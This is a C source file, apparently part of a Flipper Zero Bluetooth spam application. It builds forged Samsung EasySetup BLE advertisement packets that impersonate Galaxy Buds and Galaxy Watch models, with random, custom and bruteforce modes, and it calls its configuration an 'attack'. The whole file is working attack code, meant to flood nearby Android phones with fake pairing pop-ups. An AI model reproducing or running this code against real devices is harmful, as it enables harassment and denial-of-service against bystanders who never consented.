easysetup.c 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590
  1. #include "easysetup.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Research by @Spooks4576
  5. static const struct {
  6. uint32_t value;
  7. const char* name;
  8. } buds_models[] = {
  9. {0xEE7A0C, "Fallback Buds"},
  10. {0x9D1700, "Fallback Dots"},
  11. {0x39EA48, "Light Purple Buds2"},
  12. {0xA7C62C, "Bluish Silver Buds2"},
  13. {0x850116, "Black Buds Live"},
  14. {0x3D8F41, "Gray & Black Buds2"},
  15. {0x3B6D02, "Bluish Chrome Buds2"},
  16. {0xAE063C, "Gray Beige Buds2"},
  17. {0xB8B905, "Pure White Buds"},
  18. {0xEAAA17, "Pure White Buds2"},
  19. {0xD30704, "Black Buds"},
  20. {0x9DB006, "French Flag Buds"},
  21. {0x101F1A, "Dark Purple Buds Live"},
  22. {0x859608, "Dark Blue Buds"},
  23. {0x8E4503, "Pink Buds"},
  24. {0x2C6740, "White & Black Buds2"},
  25. {0x3F6718, "Bronze Buds Live"},
  26. {0x42C519, "Red Buds Live"},
  27. {0xAE073A, "Black & White Buds2"},
  28. {0x011716, "Sleek Black Buds2"},
  29. };
  30. static const uint8_t buds_models_count = COUNT_OF(buds_models);
  31. static const struct {
  32. uint8_t value;
  33. const char* name;
  34. } watch_models[] = {
  35. {0x1A, "Fallback Watch"},
  36. {0x01, "White Watch4 Classic 44m"},
  37. {0x02, "Black Watch4 Classic 40m"},
  38. {0x03, "White Watch4 Classic 40m"},
  39. {0x04, "Black Watch4 44mm"},
  40. {0x05, "Silver Watch4 44mm"},
  41. {0x06, "Green Watch4 44mm"},
  42. {0x07, "Black Watch4 40mm"},
  43. {0x08, "White Watch4 40mm"},
  44. {0x09, "Gold Watch4 40mm"},
  45. {0x0A, "French Watch4"},
  46. {0x0B, "French Watch4 Classic"},
  47. {0x0C, "Fox Watch5 44mm"},
  48. {0x11, "Black Watch5 44mm"},
  49. {0x12, "Sapphire Watch5 44mm"},
  50. {0x13, "Purpleish Watch5 40mm"},
  51. {0x14, "Gold Watch5 40mm"},
  52. {0x15, "Black Watch5 Pro 45mm"},
  53. {0x16, "Gray Watch5 Pro 45mm"},
  54. {0x17, "White Watch5 44mm"},
  55. {0x18, "White & Black Watch5"},
  56. {0xE4, "Black Watch5 Golf Edition"},
  57. {0xE5, "White Watch5 Gold Edition"},
  58. {0x1B, "Black Watch6 Pink 40mm"},
  59. {0x1C, "Gold Watch6 Gold 40mm"},
  60. {0x1D, "Silver Watch6 Cyan 44mm"},
  61. {0x1E, "Black Watch6 Classic 43m"},
  62. {0x20, "Green Watch6 Classic 43m"},
  63. {0xEC, "Black Watch6 Golf Edition"},
  64. {0xEF, "Black Watch6 TB Edition"},
  65. };
  66. static const uint8_t watch_models_count = COUNT_OF(watch_models);
  67. static const char* type_names[EasysetupTypeCOUNT] = {
  68. [EasysetupTypeBuds] = "EasySetup Buds",
  69. [EasysetupTypeWatch] = "EasySetup Watch",
  70. };
  71. static const char* get_name(const Payload* payload) {
  72. const EasysetupCfg* cfg = &payload->cfg.easysetup;
  73. return type_names[cfg->type];
  74. }
  75. static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
  76. [EasysetupTypeBuds] = 31,
  77. [EasysetupTypeWatch] = 15,
  78. };
  79. static void make_packet(uint8_t* out_size, uint8_t** out_packet, Payload* payload) {
  80. EasysetupCfg* cfg = payload ? &payload->cfg.easysetup : NULL;
  81. EasysetupType type;
  82. if(cfg && cfg->type != 0x00) {
  83. type = cfg->type;
  84. } else {
  85. const EasysetupType types[] = {
  86. EasysetupTypeBuds,
  87. EasysetupTypeWatch,
  88. };
  89. type = types[rand() % COUNT_OF(types)];
  90. }
  91. uint8_t size = packet_sizes[type];
  92. uint8_t* packet = malloc(size);
  93. uint8_t i = 0;
  94. switch(type) {
  95. case EasysetupTypeBuds: {
  96. uint32_t model;
  97. switch(cfg ? payload->mode : PayloadModeRandom) {
  98. case PayloadModeRandom:
  99. default:
  100. model = buds_models[rand() % buds_models_count].value;
  101. break;
  102. case PayloadModeValue:
  103. model = cfg->data.buds.model;
  104. break;
  105. case PayloadModeBruteforce:
  106. model = cfg->data.buds.model = payload->bruteforce.value;
  107. break;
  108. }
  109. packet[i++] = 27; // Size
  110. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  111. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  112. packet[i++] = 0x00; // ...
  113. packet[i++] = 0x42;
  114. packet[i++] = 0x09;
  115. packet[i++] = 0x81;
  116. packet[i++] = 0x02;
  117. packet[i++] = 0x14;
  118. packet[i++] = 0x15;
  119. packet[i++] = 0x03;
  120. packet[i++] = 0x21;
  121. packet[i++] = 0x01;
  122. packet[i++] = 0x09;
  123. packet[i++] = (model >> 0x10) & 0xFF; // Buds Model / Color (?)
  124. packet[i++] = (model >> 0x08) & 0xFF; // ...
  125. packet[i++] = 0x01; // ... (Always static?)
  126. packet[i++] = (model >> 0x00) & 0xFF; // ...
  127. packet[i++] = 0x06;
  128. packet[i++] = 0x3C;
  129. packet[i++] = 0x94;
  130. packet[i++] = 0x8E;
  131. packet[i++] = 0x00;
  132. packet[i++] = 0x00;
  133. packet[i++] = 0x00;
  134. packet[i++] = 0x00;
  135. packet[i++] = 0xC7;
  136. packet[i++] = 0x00;
  137. packet[i++] = 16; // Size
  138. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  139. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  140. // Truncated AD segment, Android seems to fill in the rest with zeros
  141. break;
  142. }
  143. case EasysetupTypeWatch: {
  144. uint8_t model;
  145. switch(cfg ? payload->mode : PayloadModeRandom) {
  146. case PayloadModeRandom:
  147. default:
  148. model = watch_models[rand() % watch_models_count].value;
  149. break;
  150. case PayloadModeValue:
  151. model = cfg->data.watch.model;
  152. break;
  153. case PayloadModeBruteforce:
  154. model = cfg->data.watch.model = payload->bruteforce.value;
  155. break;
  156. }
  157. packet[i++] = 14; // Size
  158. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  159. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  160. packet[i++] = 0x00; // ...
  161. packet[i++] = 0x01;
  162. packet[i++] = 0x00;
  163. packet[i++] = 0x02;
  164. packet[i++] = 0x00;
  165. packet[i++] = 0x01;
  166. packet[i++] = 0x01;
  167. packet[i++] = 0xFF;
  168. packet[i++] = 0x00;
  169. packet[i++] = 0x00;
  170. packet[i++] = 0x43;
  171. packet[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?)
  172. break;
  173. }
  174. default:
  175. break;
  176. }
  177. *out_size = size;
  178. *out_packet = packet;
  179. }
  180. enum {
  181. _ConfigBudsExtraStart = ConfigExtraStart,
  182. ConfigBudsModel,
  183. ConfigBudsInfoVersion,
  184. ConfigBudsCOUNT,
  185. };
  186. enum {
  187. _ConfigWatchExtraStart = ConfigExtraStart,
  188. ConfigWatchModel,
  189. ConfigWatchCOUNT,
  190. };
  191. static void config_callback(void* _ctx, uint32_t index) {
  192. Ctx* ctx = _ctx;
  193. Payload* payload = &ctx->attack->payload;
  194. EasysetupCfg* cfg = &payload->cfg.easysetup;
  195. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  196. switch(cfg->type) {
  197. case EasysetupTypeBuds: {
  198. switch(index) {
  199. case ConfigBudsModel:
  200. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
  201. break;
  202. case ConfigBudsInfoVersion:
  203. break;
  204. default:
  205. ctx->fallback_config_enter(ctx, index);
  206. break;
  207. }
  208. break;
  209. }
  210. case EasysetupTypeWatch: {
  211. switch(index) {
  212. case ConfigWatchModel:
  213. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
  214. break;
  215. default:
  216. ctx->fallback_config_enter(ctx, index);
  217. break;
  218. }
  219. break;
  220. }
  221. default:
  222. ctx->fallback_config_enter(ctx, index);
  223. break;
  224. }
  225. }
  226. static void buds_model_changed(VariableItem* item) {
  227. Payload* payload = variable_item_get_context(item);
  228. EasysetupCfg* cfg = &payload->cfg.easysetup;
  229. uint8_t index = variable_item_get_current_value_index(item);
  230. if(index) {
  231. index--;
  232. payload->mode = PayloadModeValue;
  233. cfg->data.buds.model = buds_models[index].value;
  234. variable_item_set_current_value_text(item, buds_models[index].name);
  235. } else {
  236. payload->mode = PayloadModeRandom;
  237. variable_item_set_current_value_text(item, "Random");
  238. }
  239. }
  240. static void watch_model_changed(VariableItem* item) {
  241. Payload* payload = variable_item_get_context(item);
  242. EasysetupCfg* cfg = &payload->cfg.easysetup;
  243. uint8_t index = variable_item_get_current_value_index(item);
  244. if(index) {
  245. index--;
  246. payload->mode = PayloadModeValue;
  247. cfg->data.watch.model = watch_models[index].value;
  248. variable_item_set_current_value_text(item, watch_models[index].name);
  249. } else {
  250. payload->mode = PayloadModeRandom;
  251. variable_item_set_current_value_text(item, "Random");
  252. }
  253. }
  254. static void extra_config(Ctx* ctx) {
  255. Payload* payload = &ctx->attack->payload;
  256. EasysetupCfg* cfg = &payload->cfg.easysetup;
  257. VariableItemList* list = ctx->variable_item_list;
  258. VariableItem* item;
  259. uint8_t value_index;
  260. switch(cfg->type) {
  261. case EasysetupTypeBuds: {
  262. item = variable_item_list_add(
  263. list, "Model Code", buds_models_count + 1, buds_model_changed, payload);
  264. const char* model_name = NULL;
  265. char model_name_buf[9];
  266. switch(payload->mode) {
  267. case PayloadModeRandom:
  268. default:
  269. model_name = "Random";
  270. value_index = 0;
  271. break;
  272. case PayloadModeValue:
  273. for(uint8_t i = 0; i < buds_models_count; i++) {
  274. if(cfg->data.buds.model == buds_models[i].value) {
  275. model_name = buds_models[i].name;
  276. value_index = i + 1;
  277. break;
  278. }
  279. }
  280. if(!model_name) {
  281. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
  282. model_name = model_name_buf;
  283. value_index = buds_models_count + 1;
  284. }
  285. break;
  286. case PayloadModeBruteforce:
  287. model_name = "Bruteforce";
  288. value_index = buds_models_count + 1;
  289. break;
  290. }
  291. variable_item_set_current_value_index(item, value_index);
  292. variable_item_set_current_value_text(item, model_name);
  293. variable_item_list_add(list, "Works on Android 13 only", 0, NULL, NULL);
  294. break;
  295. }
  296. case EasysetupTypeWatch: {
  297. item = variable_item_list_add(
  298. list, "Model Code", watch_models_count + 1, watch_model_changed, payload);
  299. const char* model_name = NULL;
  300. char model_name_buf[3];
  301. switch(payload->mode) {
  302. case PayloadModeRandom:
  303. default:
  304. model_name = "Random";
  305. value_index = 0;
  306. break;
  307. case PayloadModeValue:
  308. for(uint8_t i = 0; i < watch_models_count; i++) {
  309. if(cfg->data.watch.model == watch_models[i].value) {
  310. model_name = watch_models[i].name;
  311. value_index = i + 1;
  312. break;
  313. }
  314. }
  315. if(!model_name) {
  316. snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
  317. model_name = model_name_buf;
  318. value_index = watch_models_count + 1;
  319. }
  320. break;
  321. case PayloadModeBruteforce:
  322. model_name = "Bruteforce";
  323. value_index = watch_models_count + 1;
  324. break;
  325. }
  326. variable_item_set_current_value_index(item, value_index);
  327. variable_item_set_current_value_text(item, model_name);
  328. break;
  329. }
  330. default:
  331. break;
  332. }
  333. variable_item_list_set_enter_callback(list, config_callback, ctx);
  334. }
  335. static uint8_t config_counts[EasysetupTypeCOUNT] = {
  336. [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
  337. [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
  338. };
  339. static uint8_t config_count(const Payload* payload) {
  340. const EasysetupCfg* cfg = &payload->cfg.easysetup;
  341. return config_counts[cfg->type];
  342. }
  343. const Protocol protocol_easysetup = {
  344. .icon = &I_android,
  345. .get_name = get_name,
  346. .make_packet = make_packet,
  347. .extra_config = extra_config,
  348. .config_count = config_count,
  349. };
  350. static void buds_model_callback(void* _ctx, uint32_t index) {
  351. Ctx* ctx = _ctx;
  352. Payload* payload = &ctx->attack->payload;
  353. EasysetupCfg* cfg = &payload->cfg.easysetup;
  354. switch(index) {
  355. case 0:
  356. payload->mode = PayloadModeRandom;
  357. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  358. break;
  359. case buds_models_count + 1:
  360. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
  361. break;
  362. case buds_models_count + 2:
  363. payload->mode = PayloadModeBruteforce;
  364. payload->bruteforce.counter = 0;
  365. payload->bruteforce.value = cfg->data.buds.model;
  366. payload->bruteforce.size = 3;
  367. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  368. break;
  369. default:
  370. payload->mode = PayloadModeValue;
  371. cfg->data.buds.model = buds_models[index - 1].value;
  372. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  373. break;
  374. }
  375. }
  376. void scene_easysetup_buds_model_on_enter(void* _ctx) {
  377. Ctx* ctx = _ctx;
  378. Payload* payload = &ctx->attack->payload;
  379. EasysetupCfg* cfg = &payload->cfg.easysetup;
  380. Submenu* submenu = ctx->submenu;
  381. uint32_t selected = 0;
  382. submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
  383. if(payload->mode == PayloadModeRandom) {
  384. selected = 0;
  385. }
  386. bool found = false;
  387. for(uint8_t i = 0; i < buds_models_count; i++) {
  388. submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
  389. if(!found && payload->mode == PayloadModeValue &&
  390. cfg->data.buds.model == buds_models[i].value) {
  391. found = true;
  392. selected = i + 1;
  393. }
  394. }
  395. submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
  396. if(!found && payload->mode == PayloadModeValue) {
  397. selected = buds_models_count + 1;
  398. }
  399. submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx);
  400. if(payload->mode == PayloadModeBruteforce) {
  401. selected = buds_models_count + 2;
  402. }
  403. submenu_set_selected_item(submenu, selected);
  404. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  405. }
  406. bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
  407. Ctx* ctx = _ctx;
  408. if(event.type == SceneManagerEventTypeCustom) {
  409. scene_manager_previous_scene(ctx->scene_manager);
  410. return true;
  411. }
  412. return false;
  413. }
  414. void scene_easysetup_buds_model_on_exit(void* _ctx) {
  415. Ctx* ctx = _ctx;
  416. submenu_reset(ctx->submenu);
  417. }
  418. static void buds_model_custom_callback(void* _ctx) {
  419. Ctx* ctx = _ctx;
  420. Payload* payload = &ctx->attack->payload;
  421. EasysetupCfg* cfg = &payload->cfg.easysetup;
  422. payload->mode = PayloadModeValue;
  423. cfg->data.buds.model =
  424. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  425. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  426. }
  427. void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
  428. Ctx* ctx = _ctx;
  429. Payload* payload = &ctx->attack->payload;
  430. EasysetupCfg* cfg = &payload->cfg.easysetup;
  431. ByteInput* byte_input = ctx->byte_input;
  432. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  433. ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
  434. ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
  435. ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
  436. byte_input_set_result_callback(
  437. byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  438. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  439. }
  440. bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  441. Ctx* ctx = _ctx;
  442. if(event.type == SceneManagerEventTypeCustom) {
  443. scene_manager_previous_scene(ctx->scene_manager);
  444. scene_manager_previous_scene(ctx->scene_manager);
  445. return true;
  446. }
  447. return false;
  448. }
  449. void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
  450. UNUSED(_ctx);
  451. }
  452. static void watch_model_callback(void* _ctx, uint32_t index) {
  453. Ctx* ctx = _ctx;
  454. Payload* payload = &ctx->attack->payload;
  455. EasysetupCfg* cfg = &payload->cfg.easysetup;
  456. switch(index) {
  457. case 0:
  458. payload->mode = PayloadModeRandom;
  459. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  460. break;
  461. case watch_models_count + 1:
  462. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
  463. break;
  464. case watch_models_count + 2:
  465. payload->mode = PayloadModeBruteforce;
  466. payload->bruteforce.counter = 0;
  467. payload->bruteforce.value = cfg->data.watch.model;
  468. payload->bruteforce.size = 1;
  469. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  470. break;
  471. default:
  472. payload->mode = PayloadModeValue;
  473. cfg->data.watch.model = watch_models[index - 1].value;
  474. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  475. break;
  476. }
  477. }
  478. void scene_easysetup_watch_model_on_enter(void* _ctx) {
  479. Ctx* ctx = _ctx;
  480. Payload* payload = &ctx->attack->payload;
  481. EasysetupCfg* cfg = &payload->cfg.easysetup;
  482. Submenu* submenu = ctx->submenu;
  483. uint32_t selected = 0;
  484. submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
  485. if(payload->mode == PayloadModeRandom) {
  486. selected = 0;
  487. }
  488. bool found = false;
  489. for(uint8_t i = 0; i < watch_models_count; i++) {
  490. submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
  491. if(!found && payload->mode == PayloadModeValue &&
  492. cfg->data.watch.model == watch_models[i].value) {
  493. found = true;
  494. selected = i + 1;
  495. }
  496. }
  497. submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
  498. if(!found && payload->mode == PayloadModeValue) {
  499. selected = watch_models_count + 1;
  500. }
  501. submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx);
  502. if(payload->mode == PayloadModeBruteforce) {
  503. selected = watch_models_count + 2;
  504. }
  505. submenu_set_selected_item(submenu, selected);
  506. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  507. }
  508. bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
  509. Ctx* ctx = _ctx;
  510. if(event.type == SceneManagerEventTypeCustom) {
  511. scene_manager_previous_scene(ctx->scene_manager);
  512. return true;
  513. }
  514. return false;
  515. }
  516. void scene_easysetup_watch_model_on_exit(void* _ctx) {
  517. Ctx* ctx = _ctx;
  518. submenu_reset(ctx->submenu);
  519. }
  520. static void watch_model_custom_callback(void* _ctx) {
  521. Ctx* ctx = _ctx;
  522. Payload* payload = &ctx->attack->payload;
  523. EasysetupCfg* cfg = &payload->cfg.easysetup;
  524. payload->mode = PayloadModeValue;
  525. cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
  526. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  527. }
  528. void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
  529. Ctx* ctx = _ctx;
  530. Payload* payload = &ctx->attack->payload;
  531. EasysetupCfg* cfg = &payload->cfg.easysetup;
  532. ByteInput* byte_input = ctx->byte_input;
  533. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  534. ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
  535. byte_input_set_result_callback(
  536. byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  537. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  538. }
  539. bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  540. Ctx* ctx = _ctx;
  541. if(event.type == SceneManagerEventTypeCustom) {
  542. scene_manager_previous_scene(ctx->scene_manager);
  543. scene_manager_previous_scene(ctx->scene_manager);
  544. return true;
  545. }
  546. return false;
  547. }
  548. void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
  549. UNUSED(_ctx);
  550. }